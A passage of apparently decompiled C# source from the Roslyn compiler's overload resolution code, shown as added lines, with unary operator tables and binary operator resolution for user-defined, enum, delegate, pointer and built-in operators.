UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Long, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.UInt, + UnaryOperatorKind.ULong, + UnaryOperatorKind.NInt, + UnaryOperatorKind.NUInt, + UnaryOperatorKind.Float, + UnaryOperatorKind.Double, + UnaryOperatorKind.Decimal, + UnaryOperatorKind.Error, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Long | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.UInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.ULong | UnaryOperatorKind.Lifted, + UnaryOperatorKind.NInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.NUInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Float | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Double | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Decimal | UnaryOperatorKind.Lifted + }; + + private static readonly UnaryOperatorKind[] s_minus = new UnaryOperatorKind[32] + { + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Long, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Long, + UnaryOperatorKind.Error, + UnaryOperatorKind.NInt, + UnaryOperatorKind.Error, + UnaryOperatorKind.Float, + UnaryOperatorKind.Double, + UnaryOperatorKind.Decimal, + UnaryOperatorKind.Error, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Long | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Long | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Error, + UnaryOperatorKind.NInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Error, + UnaryOperatorKind.Float | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Double | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Decimal | UnaryOperatorKind.Lifted + }; + + private static readonly UnaryOperatorKind[] s_logicalNegation; + + private static readonly UnaryOperatorKind[] s_bitwiseComplement; + + private static readonly UnaryOperatorKind[][] s_opkind; + + public static UnaryOperatorKind OpKind(UnaryOperatorKind kind, TypeSymbol operand) + { + int num = operand.TypeToIndex(); + if (num < 0) + { + return UnaryOperatorKind.Error; + } + int num2 = kind.OperatorIndex(); + UnaryOperatorKind unaryOperatorKind = ((num2 < s_opkind.Length) ? s_opkind[num2][num] : UnaryOperatorKind.Error); + if (unaryOperatorKind != UnaryOperatorKind.Error) + { + return unaryOperatorKind | kind; + } + return unaryOperatorKind; + } + + static UnopEasyOut() + { + UnaryOperatorKind[] array = new UnaryOperatorKind[32]; + array[2] = UnaryOperatorKind.Bool; + array[17] = UnaryOperatorKind.Bool | UnaryOperatorKind.Lifted; + s_logicalNegation = array; + s_bitwiseComplement = new UnaryOperatorKind[32] + { + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.Long, + UnaryOperatorKind.Int, + UnaryOperatorKind.Int, + UnaryOperatorKind.UInt, + UnaryOperatorKind.ULong, + UnaryOperatorKind.NInt, + UnaryOperatorKind.NUInt, + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Long | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.UInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.ULong | UnaryOperatorKind.Lifted, + UnaryOperatorKind.NInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.NUInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Error + }; + s_opkind = new UnaryOperatorKind[8][] { s_increment, s_increment, s_increment, s_increment, s_plus, s_minus, s_logicalNegation, s_bitwiseComplement }; + } + } + + private class ReturnStatements : BoundTreeWalker + { + private readonly ArrayBuilder _returns; + + public ReturnStatements(ArrayBuilder returns) + { + _returns = returns; + } + + public override BoundNode Visit(BoundNode node) + { + if (!(node is BoundExpression)) + { + return base.Visit(node); + } + return null; + } + + protected override BoundExpression VisitExpressionWithoutStackGuard(BoundExpression node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/OverloadResolution/OverloadResolution.cs", 2786); + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + return null; + } + + public override BoundNode VisitReturnStatement(BoundReturnStatement node) + { + _returns.Add(node); + return null; + } + } + + private readonly struct EffectiveParameters + { + internal readonly ImmutableArray ParameterTypes; + + internal readonly ImmutableArray ParameterRefKinds; + + internal EffectiveParameters(ImmutableArray types, ImmutableArray refKinds) + { + ParameterTypes = types; + ParameterRefKinds = refKinds; + } + } + + private readonly struct ParameterMap(int[] parameters, int length) + { + private readonly int[] _parameters = parameters; + + private readonly int _length = length; + + public bool IsTrivial => _parameters == null; + + public int Length => _length; + + public int this[int argument] + { + get + { + if (_parameters != null) + { + return _parameters[argument]; + } + return argument; + } + } + + public ImmutableArray ToImmutableArray() + { + return ImmutableArrayExtensions.AsImmutableOrNull(_parameters); + } + } + + private readonly Binder _binder; + + private bool? _strict; + + private const int BetterConversionTargetRecursionLimit = 100; + + private CSharpCompilation Compilation => _binder.Compilation; + + private Conversions Conversions => _binder.Conversions; + + private bool Strict + { + get + { + if (_strict.HasValue) + { + return _strict.Value; + } + bool featureStrictEnabled = _binder.Compilation.FeatureStrictEnabled; + _strict = featureStrictEnabled; + return featureStrictEnabled; + } + } + + private void BinaryOperatorEasyOut(BinaryOperatorKind kind, BoundExpression left, BoundExpression right, BinaryOperatorOverloadResolutionResult result) + { + TypeSymbol type = left.Type; + if ((object)type == null) + { + return; + } + TypeSymbol type2 = right.Type; + if ((object)type2 != null && !PossiblyUnusualConstantOperation(left, right)) + { + BinaryOperatorKind binaryOperatorKind = BinopEasyOut.OpKind(kind, type, type2); + if (binaryOperatorKind != BinaryOperatorKind.Error) + { + BinaryOperatorSignature signature = Compilation.builtInOperators.GetSignature(binaryOperatorKind); + Conversion leftConversion = ConversionsBase.FastClassifyConversion(type, signature.LeftType); + Conversion rightConversion = ConversionsBase.FastClassifyConversion(type2, signature.RightType); + result.Results.Add(BinaryOperatorAnalysisResult.Applicable(signature, leftConversion, rightConversion)); + } + } + } + + private static bool PossiblyUnusualConstantOperation(BoundExpression left, BoundExpression right) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Invalid comparison between Unknown and I4 + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Invalid comparison between Unknown and I4 + if (left.ConstantValueOpt == (ConstantValue)null && right.ConstantValueOpt == (ConstantValue)null) + { + return false; + } + if (left.Type.SpecialType != right.Type.SpecialType) + { + return true; + } + if ((int)left.Type.SpecialType == 13 || (int)left.Type.SpecialType == 7 || (int)left.Type.SpecialType == 20) + { + return false; + } + return true; + } + + public void BinaryOperatorOverloadResolution(BinaryOperatorKind kind, bool isChecked, BoundExpression left, BoundExpression right, BinaryOperatorOverloadResolutionResult result, ref CompoundUseSiteInfo useSiteInfo) + { + BinaryOperatorOverloadResolution_EasyOut(kind, left, right, result); + if (result.Results.Count <= 0) + { + BinaryOperatorOverloadResolution_NoEasyOut(kind, isChecked, left, right, result, ref useSiteInfo); + } + } + + internal void BinaryOperatorOverloadResolution_EasyOut(BinaryOperatorKind kind, BoundExpression left, BoundExpression right, BinaryOperatorOverloadResolutionResult result) + { + BinaryOperatorKind kind2 = kind & ~BinaryOperatorKind.Logical; + BinaryOperatorEasyOut(kind2, left, right, result); + } + + internal void BinaryOperatorOverloadResolution_NoEasyOut(BinaryOperatorKind kind, bool isChecked, BoundExpression left, BoundExpression right, BinaryOperatorOverloadResolutionResult result, ref CompoundUseSiteInfo useSiteInfo) + { + TypeSymbol typeSymbol = left.Type?.StrippedType(); + TypeSymbol typeSymbol2 = right.Type?.StrippedType(); + bool flag = typeSymbol?.IsInterfaceType() ?? false; + bool flag2 = typeSymbol2?.IsInterfaceType() ?? false; + bool flag3 = false; + if ((object)typeSymbol != null && !flag) + { + flag3 = GetUserDefinedOperators(kind, isChecked, typeSymbol, left, right, result.Results, ref useSiteInfo); + if (!flag3) + { + result.Results.Clear(); + } + } + bool flag4 = kind.IsShift(); + if (!flag4 && (object)typeSymbol2 != null && !flag2 && !typeSymbol2.Equals(typeSymbol)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (GetUserDefinedOperators(kind, isChecked, typeSymbol2, left, right, instance, ref useSiteInfo)) + { + flag3 = true; + AddDistinctOperators(result.Results, instance); + } + instance.Free(); + } + if (!flag3) + { + result.Results.Clear(); + PooledDictionary instance2 = PooledDictionary.GetInstance(); + TypeSymbol typeSymbol3; + TypeSymbol typeSymbol4; + bool sourceIsInterface; + bool sourceIsInterface2; + if (!flag4 && ((object)typeSymbol == null || (!(typeSymbol is TypeParameterSymbol) && typeSymbol2 is TypeParameterSymbol))) + { + typeSymbol3 = typeSymbol2; + typeSymbol4 = typeSymbol; + sourceIsInterface = flag2; + sourceIsInterface2 = flag; + } + else + { + typeSymbol3 = typeSymbol; + typeSymbol4 = typeSymbol2; + sourceIsInterface = flag; + sourceIsInterface2 = flag2; + } + flag3 = GetUserDefinedBinaryOperatorsFromInterfaces(kind, isChecked, typeSymbol3, sourceIsInterface, left, right, ref useSiteInfo, (Dictionary)(object)instance2, result.Results); + if (!flag3) + { + result.Results.Clear(); + } + if (!flag4 && (object)typeSymbol4 != null && !typeSymbol4.Equals(typeSymbol3)) + { + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + if (GetUserDefinedBinaryOperatorsFromInterfaces(kind, isChecked, typeSymbol4, sourceIsInterface2, left, right, ref useSiteInfo, (Dictionary)(object)instance2, instance3)) + { + flag3 = true; + AddDistinctOperators(result.Results, instance3); + } + instance3.Free(); + } + instance2.Free(); + } + if (!flag3) + { + result.Results.Clear(); + GetAllBuiltInOperators(kind, isChecked, left, right, result.Results, ref useSiteInfo); + } + BinaryOperatorOverloadResolution(left, right, result, ref useSiteInfo); + } + + private bool GetUserDefinedBinaryOperatorsFromInterfaces(BinaryOperatorKind kind, bool isChecked, TypeSymbol operatorSourceOpt, bool sourceIsInterface, BoundExpression left, BoundExpression right, ref CompoundUseSiteInfo useSiteInfo, Dictionary lookedInInterfaces, ArrayBuilder candidates) + { + if ((object)operatorSourceOpt == null) + { + return false; + } + bool flag = false; + ImmutableArray immutableArray = default(ImmutableArray); + TypeSymbol constrainedToTypeOpt = null; + if (sourceIsInterface) + { + if (!lookedInInterfaces.TryGetValue(operatorSourceOpt, out var _)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetUserDefinedBinaryOperatorsFromType(constrainedToTypeOpt, (NamedTypeSymbol)operatorSourceOpt, kind, isChecked, instance); + flag = CandidateOperators(isChecked, instance, left, right, candidates, ref useSiteInfo); + instance.Free(); + lookedInInterfaces.Add(operatorSourceOpt, flag); + if (!flag) + { + candidates.Clear(); + immutableArray = operatorSourceOpt.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + } + } + else if (operatorSourceOpt.IsTypeParameter()) + { + immutableArray = ((TypeParameterSymbol)operatorSourceOpt).AllEffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + constrainedToTypeOpt = operatorSourceOpt; + } + if (!immutableArray.IsDefaultOrEmpty) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + PooledHashSet instance4 = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (!current.IsInterface || ((HashSet)(object)instance4).Contains(current)) + { + continue; + } + if (lookedInInterfaces.TryGetValue(current, out var value2)) + { + if (value2) + { + ISetExtensions.AddAll((ISet)instance4, current.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo)); + } + continue; + } + instance2.Clear(); + instance3.Clear(); + GetUserDefinedBinaryOperatorsFromType(constrainedToTypeOpt, current, kind, isChecked, instance2); + value2 = CandidateOperators(isChecked, instance2, left, right, instance3, ref useSiteInfo); + lookedInInterfaces.Add(current, value2); + if (value2) + { + flag = true; + candidates.AddRange(instance3); + ISetExtensions.AddAll((ISet)instance4, current.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo)); + } + } + instance2.Free(); + instance3.Free(); + instance4.Free(); + } + return flag; + } + + private void AddDelegateOperation(BinaryOperatorKind kind, TypeSymbol delegateType, ArrayBuilder operators) + { + switch (kind) + { + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + operators.Add(new BinaryOperatorSignature(kind | BinaryOperatorKind.Delegate, delegateType, delegateType, Compilation.GetSpecialType((SpecialType)7))); + break; + default: + operators.Add(new BinaryOperatorSignature(kind | BinaryOperatorKind.Delegate, delegateType, delegateType, delegateType)); + break; + } + } + + private void GetDelegateOperations(BinaryOperatorKind kind, BoundExpression left, BoundExpression right, ArrayBuilder operators, ref CompoundUseSiteInfo useSiteInfo) + { + switch (kind) + { + case BinaryOperatorKind.Multiplication: + case BinaryOperatorKind.Division: + case BinaryOperatorKind.Remainder: + case BinaryOperatorKind.LeftShift: + case BinaryOperatorKind.RightShift: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + case BinaryOperatorKind.And: + case BinaryOperatorKind.Xor: + case BinaryOperatorKind.Or: + case BinaryOperatorKind.UnsignedRightShift: + case BinaryOperatorKind.LogicalAnd: + case BinaryOperatorKind.LogicalOr: + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + case BinaryOperatorKind.Addition: + case BinaryOperatorKind.Subtraction: + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + { + TypeSymbol type = left.Type; + bool flag = type?.IsDelegateType() ?? false; + TypeSymbol type2 = right.Type; + bool flag2 = type2?.IsDelegateType() ?? false; + if (!flag && !flag2) + { + BinaryOperatorKind binaryOperatorKind = kind.Operator(); + if (binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) + { + TypeSymbol specialType = _binder.Compilation.GetSpecialType((SpecialType)4); + specialType.AddUseSiteInfo(ref useSiteInfo); + if (Conversions.ClassifyImplicitConversionFromExpression(left, specialType, ref useSiteInfo).IsValid && Conversions.ClassifyImplicitConversionFromExpression(right, specialType, ref useSiteInfo).IsValid) + { + AddDelegateOperation(kind, specialType, operators); + } + } + } + else if (flag && flag2) + { + AddDelegateOperation(kind, type, operators); + if (!((kind == BinaryOperatorKind.Equal || kind == BinaryOperatorKind.NotEqual) ? ConversionsBase.HasIdentityConversion(type, type2) : type.Equals(type2))) + { + AddDelegateOperation(kind, type2, operators); + } + } + else + { + TypeSymbol delegateType = (flag ? type : type2); + BoundExpression boundExpression = (flag ? right : left); + if ((kind != BinaryOperatorKind.Equal && kind != BinaryOperatorKind.NotEqual) || boundExpression.Kind != BoundKind.UnboundLambda) + { + AddDelegateOperation(kind, delegateType, operators); + } + } + break; + } + } + } + + private void GetEnumOperation(BinaryOperatorKind kind, TypeSymbol enumType, BoundExpression right, ArrayBuilder operators) + { + if (!enumType.IsValidEnumType()) + { + return; + } + NamedTypeSymbol enumUnderlyingType = enumType.GetEnumUnderlyingType(); + NamedTypeSymbol orCreateNullableType = Compilation.GetOrCreateNullableType(enumType); + NamedTypeSymbol orCreateNullableType2 = Compilation.GetOrCreateNullableType(enumUnderlyingType); + switch (kind) + { + case BinaryOperatorKind.Addition: + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.EnumAndUnderlyingAddition, enumType, enumUnderlyingType, enumType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.UnderlyingAndEnumAddition, enumUnderlyingType, enumType, enumType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.LiftedEnumAndUnderlyingAddition, orCreateNullableType, orCreateNullableType2, orCreateNullableType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.LiftedUnderlyingAndEnumAddition, orCreateNullableType2, orCreateNullableType, orCreateNullableType)); + break; + case BinaryOperatorKind.Subtraction: + { + if (Strict) + { + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.EnumSubtraction, enumType, enumType, enumUnderlyingType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.EnumAndUnderlyingSubtraction, enumType, enumUnderlyingType, enumType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.LiftedEnumSubtraction, orCreateNullableType, orCreateNullableType, orCreateNullableType2)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.LiftedEnumAndUnderlyingSubtraction, orCreateNullableType, orCreateNullableType2, orCreateNullableType)); + break; + } + bool flag = TypeSymbol.Equals(right.Type?.StrippedType(), enumUnderlyingType, (TypeCompareKind)0); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.EnumSubtraction, enumType, enumType, enumUnderlyingType) + { + Priority = 2 + }); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.EnumAndUnderlyingSubtraction, enumType, enumUnderlyingType, enumType) + { + Priority = (flag ? 1 : 3) + }); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.LiftedEnumSubtraction, orCreateNullableType, orCreateNullableType, orCreateNullableType2) + { + Priority = 12 + }); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.LiftedEnumAndUnderlyingSubtraction, orCreateNullableType, orCreateNullableType2, orCreateNullableType) + { + Priority = (flag ? 11 : 13) + }); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.UnderlyingAndEnumSubtraction, enumUnderlyingType, enumType, enumType) + { + Priority = 4 + }); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.LiftedUnderlyingAndEnumSubtraction, orCreateNullableType2, orCreateNullableType, orCreateNullableType) + { + Priority = 14 + }); + break; + } + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + { + NamedTypeSymbol specialType = Compilation.GetSpecialType((SpecialType)7); + operators.Add(new BinaryOperatorSignature(kind | BinaryOperatorKind.Enum, enumType, enumType, specialType)); + operators.Add(new BinaryOperatorSignature(kind | BinaryOperatorKind.Lifted | BinaryOperatorKind.Enum, orCreateNullableType, orCreateNullableType, specialType)); + break; + } + case BinaryOperatorKind.And: + case BinaryOperatorKind.Xor: + case BinaryOperatorKind.Or: + operators.Add(new BinaryOperatorSignature(kind | BinaryOperatorKind.Enum, enumType, enumType, enumType)); + operators.Add(new BinaryOperatorSignature(kind | BinaryOperatorKind.Lifted | BinaryOperatorKind.Enum, orCreateNullableType, orCreateNullableType, orCreateNullableType)); + break; + } + } + + private void GetPointerArithmeticOperators(BinaryOperatorKind kind, PointerTypeSymbol pointerType, ArrayBuilder operators) + { + switch (kind) + { + case BinaryOperatorKind.Addition: + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.PointerAndIntAddition, pointerType, Compilation.GetSpecialType((SpecialType)13), pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.PointerAndUIntAddition, pointerType, Compilation.GetSpecialType((SpecialType)14), pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.PointerAndLongAddition, pointerType, Compilation.GetSpecialType((SpecialType)15), pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.PointerAndULongAddition, pointerType, Compilation.GetSpecialType((SpecialType)16), pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.IntAndPointerAddition, Compilation.GetSpecialType((SpecialType)13), pointerType, pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.UIntAndPointerAddition, Compilation.GetSpecialType((SpecialType)14), pointerType, pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.LongAndPointerAddition, Compilation.GetSpecialType((SpecialType)15), pointerType, pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.ULongAndPointerAddition, Compilation.GetSpecialType((SpecialType)16), pointerType, pointerType)); + break; + case BinaryOperatorKind.Subtraction: + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.PointerAndIntSubtraction, pointerType, Compilation.GetSpecialType((SpecialType)13), pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.PointerAndUIntSubtraction, pointerType, Compilation.GetSpecialType((SpecialType)14), pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.PointerAndLongSubtraction, pointerType, Compilation.GetSpecialType((SpecialType)15), pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.PointerAndULongSubtraction, pointerType, Compilation.GetSpecialType((SpecialType)16), pointerType)); + operators.Add(new BinaryOperatorSignature(BinaryOperatorKind.PointerSubtraction, pointerType, pointerType, Compilation.GetSpecialType((SpecialType)15))); + break; + } + } + + private void GetPointerComparisonOperators(BinaryOperatorKind kind, ArrayBuilder operators) + { + switch (kind) + { + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + { + PointerTypeSymbol pointerTypeSymbol = new PointerTypeSymbol(TypeWithAnnotations.Create(Compilation.GetSpecialType((SpecialType)6))); + operators.Add(new BinaryOperatorSignature(kind | BinaryOperatorKind.Pointer, pointerTypeSymbol, pointerTypeSymbol, Compilation.GetSpecialType((SpecialType)7))); + break; + } + } + } + + private void GetEnumOperations(BinaryOperatorKind kind, BoundExpression left, BoundExpression right, ArrayBuilder results) + { + switch (kind) + { + case BinaryOperatorKind.Multiplication: + case BinaryOperatorKind.Division: + case BinaryOperatorKind.Remainder: + case BinaryOperatorKind.LeftShift: + case BinaryOperatorKind.RightShift: + case BinaryOperatorKind.UnsignedRightShift: + case BinaryOperatorKind.LogicalAnd: + case BinaryOperatorKind.LogicalOr: + return; + } + TypeSymbol typeSymbol = left.Type; + if ((object)typeSymbol != null) + { + typeSymbol = typeSymbol.StrippedType(); + } + TypeSymbol typeSymbol2 = right.Type; + if ((object)typeSymbol2 != null) + { + typeSymbol2 = typeSymbol2.StrippedType(); + } + bool flag; + switch (kind) + { + case BinaryOperatorKind.And: + case BinaryOperatorKind.Xor: + case BinaryOperatorKind.Or: + flag = false; + break; + case BinaryOperatorKind.Addition: + flag = true; + break; + case BinaryOperatorKind.Subtraction: + flag = true; + break; + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + flag = true; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + if ((object)typeSymbol != null) + { + GetEnumOperation(kind, typeSymbol, right, results); + } + if ((object)typeSymbol2 != null && ((object)typeSymbol == null || !(flag ? ConversionsBase.HasIdentityConversion(typeSymbol2, typeSymbol) : typeSymbol2.Equals(typeSymbol)))) + { + GetEnumOperation(kind, typeSymbol2, right, results); + } + } + + private void GetPointerOperators(BinaryOperatorKind kind, BoundExpression left, BoundExpression right, ArrayBuilder results) + { + PointerTypeSymbol pointerTypeSymbol = left.Type as PointerTypeSymbol; + PointerTypeSymbol pointerTypeSymbol2 = right.Type as PointerTypeSymbol; + if ((object)pointerTypeSymbol != null) + { + GetPointerArithmeticOperators(kind, pointerTypeSymbol, results); + } + if ((object)pointerTypeSymbol2 != null && ((object)pointerTypeSymbol == null || !ConversionsBase.HasIdentityConversion(pointerTypeSymbol2, pointerTypeSymbol))) + { + GetPointerArithmeticOperators(kind, pointerTypeSymbol2, results); + } + if ((object)pointerTypeSymbol != null || (object)pointerTypeSymbol2 != null || left.Type is FunctionPointerTypeSymbol || right.Type is FunctionPointerTypeSymbol) + { + GetPointerComparisonOperators(kind, results); + } + } + + private void GetAllBuiltInOperators(BinaryOperatorKind kind, bool isChecked, BoundExpression left, BoundExpression right, ArrayBuilder results, ref CompoundUseSiteInfo useSiteInfo) + { + kind = kind.OperatorWithLogical(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if ((kind == BinaryOperatorKind.Equal || kind == BinaryOperatorKind.NotEqual) && useOnlyReferenceEquality(Conversions, left, right, ref useSiteInfo)) + { + GetReferenceEquality(kind, instance); + } + else + { + Compilation.builtInOperators.GetSimpleBuiltInOperators(kind, instance, !left.Type.IsNativeIntegerOrNullableThereof() && !right.Type.IsNativeIntegerOrNullableThereof()); + GetDelegateOperations(kind, left, right, instance, ref useSiteInfo); + GetEnumOperations(kind, left, right, instance); + GetPointerOperators(kind, left, right, instance); + if (kind.Operator() == BinaryOperatorKind.Addition && isUtf8ByteRepresentation(left) && isUtf8ByteRepresentation(right)) + { + Compilation.builtInOperators.GetUtf8ConcatenationBuiltInOperator(left.Type, instance); + } + } + CandidateOperators(isChecked, instance, left, right, results, ref useSiteInfo); + instance.Free(); + static bool isUtf8ByteRepresentation(BoundExpression value) + { + if (value is BoundUtf8String || value is BoundBinaryOperator { OperatorKind: BinaryOperatorKind.Utf8Addition }) + { + return true; + } + return false; + } + static bool useOnlyReferenceEquality(Conversions conversions, BoundExpression boundExpression, BoundExpression boundExpression2, ref CompoundUseSiteInfo useSiteInfo2) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Invalid comparison between Unknown and I4 + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Invalid comparison between Unknown and I4 + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Invalid comparison between Unknown and I4 + if (BuiltInOperators.IsValidObjectEquality(conversions, boundExpression.Type, boundExpression.IsLiteralNull(), leftIsDefault: false, boundExpression2.Type, boundExpression2.IsLiteralNull(), rightIsDefault: false, ref useSiteInfo2) && ((object)boundExpression.Type == null || (!boundExpression.Type.IsDelegateType() && (int)boundExpression.Type.SpecialType != 20 && (int)boundExpression.Type.SpecialType != 4))) + { + if ((object)boundExpression2.Type != null) + { + if (!boundExpression2.Type.IsDelegateType() && (int)boundExpression2.Type.SpecialType != 20) + { + return (int)boundExpression2.Type.SpecialType != 4; + } + return false; + } + return true; + } + return false; + } + } + + private void GetReferenceEquality(BinaryOperatorKind kind, ArrayBuilder operators) + { + NamedTypeSymbol specialType = Compilation.GetSpecialType((SpecialType)1); + operators.Add(new BinaryOperatorSignature(kind | BinaryOperatorKind.Object, specialType, specialType, Compilation.GetSpecialType((SpecialType)7))); + } + + private bool CandidateOperators(bool isChecked, ArrayBuilder operators, BoundExpression left, BoundExpression right, ArrayBuilder results, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + bool result = false; + Enumerator enumerator = operators.GetEnumerator(); + while (enumerator.MoveNext()) + { + BinaryOperatorSignature current = enumerator.Current; + Conversion leftConversion = Conversions.ClassifyConversionFromExpression(left, current.LeftType, isChecked, ref useSiteInfo); + Conversion rightConversion = Conversions.ClassifyConversionFromExpression(right, current.RightType, isChecked, ref useSiteInfo); + if (leftConversion.IsImplicit && rightConversion.IsImplicit) + { + results.Add(BinaryOperatorAnalysisResult.Applicable(current, leftConversion, rightConversion)); + result = true; + } + else + { + results.Add(BinaryOperatorAnalysisResult.Inapplicable(current, leftConversion, rightConversion)); + } + } + return result; + } + + private static void AddDistinctOperators(ArrayBuilder result, ArrayBuilder additionalOperators) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + int count = result.Count; + Enumerator enumerator = 